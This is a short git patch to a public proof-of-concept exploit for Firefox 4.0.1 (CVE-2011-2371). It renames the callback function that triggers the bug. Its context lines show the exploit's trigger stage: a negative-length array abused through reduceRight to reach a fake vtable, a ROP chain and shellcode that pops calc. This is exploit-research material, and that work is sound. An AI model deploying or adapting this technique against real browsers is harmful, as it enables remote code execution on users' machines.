From e8d279e950ff918f552a70a956a42f94cb42bd37 Mon Sep 17 00:00:00 2001 From: Paolo 'VoidSec' Stagno Date: Wed, 20 Jul 2022 21:57:46 +0200 Subject: [PATCH] Update Firefox_v.4.0.1-CVE-2011-2371_exploit.html --- .../Firefox_v.4.0.1-CVE-2011-2371_exploit.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html b/windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html index 7ddb745..9bab822 100644 --- a/windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html +++ b/windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html @@ -234,12 +234,12 @@ console.log("[>] Triggering the reduceRight method on array1 to execute code"); alert("Press 'OK' to pop calc"); array1.length = 0x9FFFFFFF + 1; // offset used to "reach" the fake JavaScript object - var leak_func = function func(prev, current, index, array) { + var trigger = function func(prev, current, index, array) { current[-245] = 1; // trigger the setElem function; will go to the fake vtable, transfer code execution to the setElem ptr which in turn will execute the stack to heap gadget; then the execution flow will proceed with the ROP chain and the shellcode execution throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length } try { - array1.reduceRight(leak_func, 1, 2, 3); + array1.reduceRight(trigger, 1, 2, 3); } catch (e) { }